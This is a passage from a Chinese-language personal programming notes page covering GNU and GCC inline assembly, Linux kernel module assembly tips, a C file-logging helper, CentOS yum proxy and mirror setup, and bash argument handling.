prefix # att汇编格式</span><br><span class="line">movl %adx, %eax…</span><br></pre></td></tr></table></figure><p>一个简单的 t.s 文件:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">.intel_syntax noprefix</span><br><span class="line">.global  test # 声明函数</span><br><span class="line">.global g_var # 声明全局变量</span><br><span class="line"></span><br><span class="line">.text # 以下是.text段</span><br><span class="line">test:</span><br><span class="line">    mov qword ptr[g_var], 12</span><br><span class="line">    ret</span><br><span class="line"></span><br><span class="line">.data # 以下是.data段</span><br><span class="line">g_var: .quad 0 # 初始化变量为 0</span><br></pre></td></tr></table></figure><p>t.c:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">test</span><span class="params">(<span class="type">void</span>)</span>;</span><br><span class="line"><span class="keyword">extern</span> <span class="type">long</span> g_var;</span><br><span class="line"><span class="type">void</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">    test();</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%d\n&quot;</span>, g_var);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果是<code>t.cpp</code>, 记得使用<code>extern &quot;C&quot; int test(void);</code></p><p>编译链接:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gcc -c t.s</span><br><span class="line">gcc t.c t.o -o tt2</span><br></pre></td></tr></table></figure><p>如果是编写so文件, 记得在Makefile的命令中添加<code>-fstack-protector-all</code>, 否则, 会有个<code>execute stack</code>的flag在里面, 导致dlopen失败.</p><p>更多参考<a href="https://renenyffenegger.ch/notes/development/languages/C-C-plus-plus/GCC/as/index">GNU assembler</a>, <a href="https://stackoverflow.com/questions/7190050/how-do-i-compile-the-asm-generated-by-gcc">How do I compile the asm generated by GCC?</a>, <a href="https://cs.lmu.edu/~ray/notes/gasexamples/">GNU Assembler Examples</a></p><h2 id="编写linux驱动与汇编相关的tips"><a href="#编写linux驱动与汇编相关的tips" class="headerlink" title="编写linux驱动与汇编相关的tips"></a>编写linux驱动与汇编相关的tips</h2><p>如果想给驱动内联一个汇编文件的函数, 可以如下:</p><p><strong>Makefile</strong>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">obj-m += Anyname.o</span><br><span class="line">KDIR:=/lib/modules/$(shell uname -r)/build</span><br><span class="line">MAKE:=make</span><br><span class="line">Anyname-objs := main.o test.o</span><br><span class="line">CFLAGS_main.o := -D_FORTIFY_SOURCE=<span class="number">0</span> -O0</span><br><span class="line"></span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules  </span><br><span class="line">clean:  </span><br><span class="line">$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean</span><br></pre></td></tr></table></figure><p><strong>main.c</strong>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span> </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;asm/io.h&gt;</span> </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/slab.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/ioport.h&gt;</span> </span></span><br><span class="line">MODULE_LICENSE(<span class="string">&quot;GPL&quot;</span>); </span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">test</span><span class="params">(<span class="type">void</span>)</span>;</span><br><span class="line"><span class="type">int</span> <span class="title function_">test2</span><span class="params">(<span class="type">void</span>)</span>;</span><br><span class="line"><span class="type">int</span> <span class="title function_">my_module_init</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">  printk(<span class="string">&quot;module init done\n&quot;</span>);</span><br><span class="line">  printk(<span class="string">&quot;test:%d, %d\n&quot;</span>, test(), test2());</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">my_module_exit</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">  printk(<span class="string">&quot;module exit\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init( my_module_init );<span class="comment">//声明初始化函数</span></span><br><span class="line">module_exit( my_module_exit );</span><br></pre></td></tr></table></figure><p><strong>test.S</strong>: 这里后缀必须是大写的<strong>S</strong>, 额外的格式参考<a href="https://github.com/torvalds/linux/blob/177366bf7ceb35860281a6ebe824e42bf96fd95d/arch/x86/net/bpf_jit.S">arch&#x2F;x86&#x2F;net&#x2F;bpf_jit.S</a></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">.intel_syntax noprefix #声明 intel 格式</span><br><span class="line">.text # 声明 .text 字段</span><br><span class="line">.global test # 声明函数</span><br><span class="line">test:</span><br><span class="line">mov rax,12</span><br><span class="line">ret</span><br><span class="line"></span><br><span class="line">.global test2 # 声明函数</span><br><span class="line">test2:</span><br><span class="line">mov rax, 8</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p>如果想禁止gcc编译的驱动给某个函数优化, 可以使用<code>void __attribute__((optimize(&quot;O0&quot;)))  test(void)</code>, 这样这个函数就不会被优化了.</p><p>也可以采取如下方式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">#pragma GCC push_options</span><br><span class="line">#pragma GCC optimize(&quot;O0&quot;)</span><br><span class="line">void test(void)&#123;</span><br><span class="line">  int i=0;</span><br><span class="line">  return i+1;</span><br><span class="line">&#125;</span><br><span class="line">#pragma GCC pop_options</span><br></pre></td></tr></table></figure><p><strong>额外的tips, 如果存在<code>if(var&amp;0x80000000)</code>这样的操作, var一定不要用<code>int</code>类型, 要用无符号! gcc会把判断直接优化成0!!!!!!!!</strong></p><h2 id="gcc-内联汇编语法示例"><a href="#gcc-内联汇编语法示例" class="headerlink" title="gcc 内联汇编语法示例"></a>gcc 内联汇编语法示例</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"> __asm__ (&quot;movl %eax, %ebx\n\t&quot;</span><br><span class="line">          &quot;movq %%rax,%%rdx\n\t&quot; // 64bit operation</span><br><span class="line">          &quot;movl %ecx, $label(%edx,%ebx,$4)\n\t&quot;</span><br><span class="line">          &quot;movb %ah, (%ebx)&quot;);</span><br><span class="line">asm ( assembler template </span><br><span class="line">          : output operands                  /* optional */</span><br><span class="line">          : input operands                   /* optional */</span><br><span class="line">          : list of clobbered registers      /* optional */</span><br><span class="line">          );</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">int a=10, b;</span><br><span class="line">asm (&quot;movl %1, %%eax; </span><br><span class="line">      movl %%eax, %0;&quot;</span><br><span class="line">     :&quot;=r&quot;(b)        /* output */</span><br><span class="line">     :&quot;r&quot;(a)         /* input */</span><br><span class="line">     :&quot;%eax&quot;         /* clobbered register */</span><br><span class="line">     );   </span><br></pre></td></tr></table></figure><p><strong>“&#x3D;r”(b)</strong> 的含义, 将输出放入倒变量b里(%0 代表第一个变量, 此处第一个变量是输出里的b, 所以%0就是b, %1是 a). r代表使用任意寄存器, 如果是其它寄存器, 参考如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">+---+--------------------+</span><br><span class="line">| r |    Register(s)     |</span><br><span class="line">+---+--------------------+</span><br><span class="line">| a |   %eax, %ax, %al   |</span><br><span class="line">| b |   %ebx, %bx, %bl   |</span><br><span class="line">| c |   %ecx, %cx, %cl   |</span><br><span class="line">| d |   %edx, %dx, %dl   |</span><br><span class="line">| S |   %esi, %si        |</span><br><span class="line">| D |   %edi, %di        |</span><br><span class="line">+---+--------------------+</span><br></pre></td></tr></table></figure><p>如果是使用内存, 用 <strong>m</strong>.</p><p>其它指示标识:</p><blockquote><ol><li>“m” : A memory operand is allowed, with any kind of address that the machine supports in general.</li><li>“o” : A memory operand is allowed, but only if the address is offsettable. ie, adding a small offset to the address gives a valid address.</li><li>“V” : A memory operand that is not offsettable. In other words, anything that would fit the <code>m’ constraint but not the </code>o’constraint.</li><li>“i” : An immediate integer operand (one with constant value) is allowed. This includes symbolic constants whose values will be known only at assembly time.</li><li>“n” : An immediate integer operand with a known numeric value is allowed. Many systems cannot support assembly-time constants for operands less than a word wide. Constraints for these operands should use ’n’ rather than ’i’.</li><li>“g” : Any register, memory or immediate integer operand is allowed, except for registers that are not general registers.</li></ol></blockquote><p>x86指令独有:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">1. &quot;r&quot; : Register operand constraint, look table given above.</span><br><span class="line">2. &quot;q&quot; : Registers a, b, c or d.</span><br><span class="line">3. &quot;I&quot; : Constant in range 0 to 31 (for 32-bit shifts).</span><br><span class="line">4. &quot;J&quot; : Constant in range 0 to 63 (for 64-bit shifts).</span><br><span class="line">5. &quot;K&quot; : 0xff.</span><br><span class="line">6. &quot;L&quot; : 0xffff.</span><br><span class="line">7. &quot;M&quot; : 0, 1, 2, or 3 (shifts for lea instruction).</span><br><span class="line">8. &quot;N&quot; : Constant in range 0 to 255 (for out instruction).</span><br><span class="line">9. &quot;f&quot; : Floating point register</span><br><span class="line">10. &quot;t&quot; : First (top of stack) floating point register</span><br><span class="line">11. &quot;u&quot; : Second floating point register</span><br><span class="line">12. &quot;A&quot; : Specifies the `a’ or `d’ registers. This is primarily useful for 64-bit integer values intended to be returned with the `d’ register holding the most significant bits and the `a’ register holding the least significant bits.</span><br></pre></td></tr></table></figure><p>特殊符合含义:</p><ol><li>“<strong>&#x3D;</strong>“ : 将结果写入到指定位置</li><li>“<strong>&amp;</strong>“ : Means that this operand is an earlyclobber operand, which is modified before the instruction is finished using the input operands. Therefore, this operand may not lie in a register that is used as an input operand or as part of any memory address. An input operand can be tied to an earlyclobber operand if its only use as an input occurs before the early result is written.</li></ol><p>示例:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">static inline char * strcpy(char * dest,const char *src)</span><br><span class="line">&#123;</span><br><span class="line">int d0, d1, d2;</span><br><span class="line">__asm__ __volatile__(  &quot;1:\tlodsb\n\t&quot;</span><br><span class="line">                       &quot;stosb\n\t&quot;</span><br><span class="line">                       &quot;testb %%al,%%al\n\t&quot;</span><br><span class="line">                       &quot;jne 1b&quot;</span><br><span class="line">                     : &quot;=&amp;S&quot; (d0), &quot;=&amp;D&quot; (d1), &quot;=&amp;a&quot; (d2)</span><br><span class="line">                     : &quot;0&quot; (src),&quot;1&quot; (dest) </span><br><span class="line">                     : &quot;memory&quot;);</span><br><span class="line">return dest;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当我们不希望编译器优化掉我们的某些特殊循环判断时:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">asm (&quot;l1:\tmovb (%0), %%al\n\t&quot;</span><br><span class="line">  &quot;cmp $0xcc, %%al\n\t&quot;</span><br><span class="line">  &quot;je l1&quot;</span><br><span class="line">  ::&quot;r&quot;(&amp;buffer[0x7f]));</span><br></pre></td></tr></table></figure><h2 id="禁用gcc的某个函数优化"><a href="#禁用gcc的某个函数优化" class="headerlink" title="禁用gcc的某个函数优化"></a>禁用gcc的某个函数优化</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#pragma GCC push_options</span><br><span class="line">#pragma GCC optimize(&quot;O0&quot;)</span><br><span class="line">void test(int a);</span><br><span class="line">  return a;</span><br><span class="line">&#125;</span><br><span class="line">#pragma GCC pop_options</span><br></pre></td></tr></table></figure><p>更多参考<a href="http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html">GCC-Inline-Assembly-HOWTO</a></p><h2 id="log至文件中"><a href="#log至文件中" class="headerlink" title="log至文件中"></a>log至文件中</h2><p>有时候看不到printf, 需要log到文件里, 就经常需要查阅怎么写, 比较烦人. 记录一下.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;errno.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdarg.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;time.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">sl</span><span class="params">(<span class="type">char</span>* str)</span>&#123;</span><br><span class="line">    <span class="type">int</span> len = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span>(*str++)&#123;</span><br><span class="line">        len++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> len;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">log2file</span><span class="params">(<span class="type">char</span> *fmt, ...)</span>&#123;</span><br><span class="line">    va_list args;</span><br><span class="line">    va_start(args, fmt);</span><br><span class="line">    <span class="type">char</span> str[<span class="number">0x200</span>];</span><br><span class="line">    <span class="comment">// 请自己确保log的内容不超过0x200.</span></span><br><span class="line">    <span class="built_in">vsprintf</span>(str, fmt, args);</span><br><span class="line">    va_end(args);</span><br><span class="line">    <span class="type">int</span> fd;</span><br><span class="line">    fd = open(<span class="string">&quot;/tmp/mylog.log&quot;</span>, O_CREAT|O_WRONLY|O_APPEND, <span class="number">0777</span>);</span><br><span class="line">    <span class="keyword">if</span>(fd == <span class="number">-1</span>)&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;create fail\n&quot;</span>);</span><br><span class="line">        fd = open(<span class="string">&quot;/tmp/mylog.log&quot;</span>, O_WRONLY|O_APPEND, <span class="number">0777</span>);</span><br><span class="line">        <span class="keyword">if</span>(fd==<span class="number">-1</span>) &#123;</span><br><span class="line">            <span class="type">char</span> str2[<span class="number">0x200</span>];</span><br><span class="line">            <span class="built_in">sprintf</span>(str2, <span class="string">&quot;echo \&quot;%s\&quot;&gt; /tmp/mylog.log&quot;</span>, str);</span><br><span class="line">            system(str2);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;write\n&quot;</span>);</span><br><span class="line">    write(fd, str, sl(str));</span><br><span class="line">    close(fd);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    log2file(<span class="string">&quot;hello:%x\n&quot;</span>, <span class="number">0x111231</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="centos7-代理yum"><a href="#centos7-代理yum" class="headerlink" title="centos7 代理yum"></a>centos7 代理yum</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">yum install epel-release -y</span><br><span class="line">rpm -ivh https://mirrors.aliyun.com/epel/epel-release-latest-7.noarch.rpm</span><br><span class="line">yum install -y proxychains-ng</span><br></pre></td></tr></table></figure><p>修改配置<code>vi /etc/proxychains.conf</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[ProxyList]</span><br><span class="line"># add proxy here ...</span><br><span class="line"># meanwile</span><br><span class="line"># defaults set to &quot;tor&quot;</span><br><span class="line">socks5  192.168.150.1 7890</span><br></pre></td></tr></table></figure><p>代理yum</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&gt; proxychains4 yum install bpftrace</span><br></pre></td></tr></table></figure><h2 id="Centos6-国内源"><a href="#Centos6-国内源" class="headerlink" title="Centos6 国内源"></a>Centos6 国内源</h2><p>因为centos6.x停止维护了, 所以要找个能用的源很麻烦, 偶尔要设置又容易忘了, 在此记录一下</p><ol><li><p>下载</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-6.10.repo</span><br></pre></td></tr></table></figure></li><li><p>编辑<code>/etc/yum.repos.d/CentOS-Base.repo</code>, 在vim里更改版本 <code>:%s/6.10/6.8/g</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"># CentOS-Base.repo</span><br><span class="line"></span><br><span class="line">[base]</span><br><span class="line">name=CentOS-vault-6.10 - Base - mirrors.aliyun.com</span><br><span class="line">failovermethod=priority</span><br><span class="line">baseurl=http://mirrors.aliyun.com/centos-vault/6.10/os/$basearch/</span><br><span class="line">        http://mirrors.aliyuncs.com/centos-vault/6.10/os/$basearch/</span><br><span class="line">        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/os/$basearch/</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6</span><br><span class="line"> </span><br><span class="line">#released updates </span><br><span class="line">[updates]</span><br><span class="line">name=CentOS-vault-6.10 - Updates - mirrors.aliyun.com</span><br><span class="line">failovermethod=priority</span><br><span class="line">baseurl=http://mirrors.aliyun.com/centos-vault/6.10/updates/$basearch/</span><br><span class="line">        http://mirrors.aliyuncs.com/centos-vault/6.10/updates/$basearch/</span><br><span class="line">        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/updates/$basearch/</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6</span><br><span class="line"> </span><br><span class="line">#additional packages that may be useful</span><br><span class="line">[extras]</span><br><span class="line">name=CentOS-vault-6.10 - Extras - mirrors.aliyun.com</span><br><span class="line">failovermethod=priority</span><br><span class="line">baseurl=http://mirrors.aliyun.com/centos-vault/6.10/extras/$basearch/</span><br><span class="line">        http://mirrors.aliyuncs.com/centos-vault/6.10/extras/$basearch/</span><br><span class="line">        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/extras/$basearch/</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6</span><br><span class="line"> </span><br><span class="line">#additional packages that extend functionality of existing packages</span><br><span class="line">[centosplus]</span><br><span class="line">name=CentOS-vault-6.10 - Plus - mirrors.aliyun.com</span><br><span class="line">failovermethod=priority</span><br><span class="line">baseurl=http://mirrors.aliyun.com/centos-vault/6.10/centosplus/$basearch/</span><br><span class="line">        http://mirrors.aliyuncs.com/centos-vault/6.10/centosplus/$basearch/</span><br><span class="line">        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/centosplus/$basearch/</span><br><span class="line">gpgcheck=1</span><br><span class="line">enabled=0</span><br><span class="line">gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6</span><br><span class="line"> </span><br><span class="line">#contrib - packages by Centos Users</span><br><span class="line">[contrib]</span><br><span class="line">name=CentOS-vault-6.10 - Contrib - mirrors.aliyun.com</span><br><span class="line">failovermethod=priority</span><br><span class="line">baseurl=http://mirrors.aliyun.com/centos-vault/6.10/contrib/$basearch/</span><br><span class="line">        http://mirrors.aliyuncs.com/centos-vault/6.10/contrib/$basearch/</span><br><span class="line">        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/contrib/$basearch/</span><br><span class="line">gpgcheck=1</span><br><span class="line">enabled=0</span><br><span class="line">gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>如果是centos7的, 记得还需要改<code>RPM-GPG-KEY-CentOS-6</code> 为 <code>RPM-GPG-KEY-CentOS-7</code></p></li></ol><p>接着:<code>yum clean all</code>, <code>yum makecahe</code>.</p><h2 id="Centos-7-5更新7-9"><a href="#Centos-7-5更新7-9" class="headerlink" title="Centos 7.5更新7.9"></a>Centos 7.5更新7.9</h2><ol><li>下载centos 7.9的ISO <a href="https://mirrors.tuna.tsinghua.edu.cn/centos/7.9.2009/isos/x86_64/">下载链接</a></li><li>把文件拷贝进去</li><li>挂载iso<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ mkdir /mnt/cdrom</span><br><span class="line">$ mount ./CentOS-7-x86_64-DVD-2009.iso /mnt/cdrom</span><br></pre></td></tr></table></figure></li><li>更改源  <code>/etc/yum.repo.d/CentOS-Media.repo</code><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[c7-media]</span><br><span class="line">name=CentOS Media</span><br><span class="line">baseurl=file:///mnt/cdrom/</span><br><span class="line">gpgcheck=1</span><br><span class="line">enabled=1</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7</span><br></pre></td></tr></table></figure></li><li>更新<code>yum --disablerepo=* --enablerepo=c7-media update</code></li></ol><h3 id="Centos-6-x-安装python2-7"><a href="#Centos-6-x-安装python2-7" class="headerlink" title="Centos 6.x 安装python2.7"></a>Centos 6.x 安装python2.7</h3><ol><li><code>yum install openssl-devel</code></li><li>下载源码: <a href="https://www.python.org/ftp/python/2.7.13/Python-2.7.13.tar.xz">python 2.7.13源码</a>,  解压源码<code>tar Jxf  Python-2.7.13.tar.xz</code> </li><li><code>./configure --prefix=/usr/local/python27 --enable-shared</code></li><li><code>make &amp;&amp; make install</code>, <code>ln -s /usr/local/python27/bin/python /usr/bin/python27</code></li><li><code>echo &quot;/usr/loca/python27/lib&quot; &gt;&gt;/etc/ld.so.conf</code>, 执行<code>ldconfig</code></li><li>直接运行<code>python27</code>, 如果正常运行就ok.</li></ol><h2 id="bash-语法"><a href="#bash-语法" class="headerlink" title="bash 语法"></a>bash 语法</h2><h3 id="引用命令行参数"><a href="#引用命令行参数" class="headerlink" title="引用命令行参数"></a>引用命令行参数</h3><p><strong>直接引用</strong></p><p>$1,$2….<br>如果超过9, ${10}<br>${1:-8} 如果不存在1位置的变量, 默认给8<br>${parameter:?word} 可以默认给字符串</p><p><strong>flags</strong></p><p>​&#96;&#96;&#96;bash<br>while getopts u:a:f: flag#选项后面的冒号表示该选项需要参数<br>do<br>    case “${flag}” in<br>        u) username&#x3D;${OPTARG};;#参数存在$OPTARG中<br>        a) age&#x3D;${OPTARG};;<br>        f) fullname&#x3D;${OPTARG};;<br>    esac<br>done<br>echo “Username: $username”;<br>echo “Age: $age”;<br>echo “Full Name: $fullname”;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">`sh userReg-flags.sh -f &#x27;John Smith&#x27; -a 25 -u john `</span><br><span class="line"></span><br><span class="line">getopts,它不支持长选项。 $OPTIND 表示当前argv索引位置.</span><br><span class="line"></span><br><span class="line">**$@**  </span><br><span class="line"></span><br><span class="line">​```bash</span><br><span class="line">i=1;</span><br><span class="line">for user in &quot;$@&quot; </span><br><span class="line">do</span><br><span class="line">    echo &quot;Username - $i: $user&quot;;</span><br><span class="line">    i=$((i + 1));</span><br><span class="line">done</span><br></pre></td></tr></table></figure><blockquote><p>$* ：和$@相同，但”$*“ 和 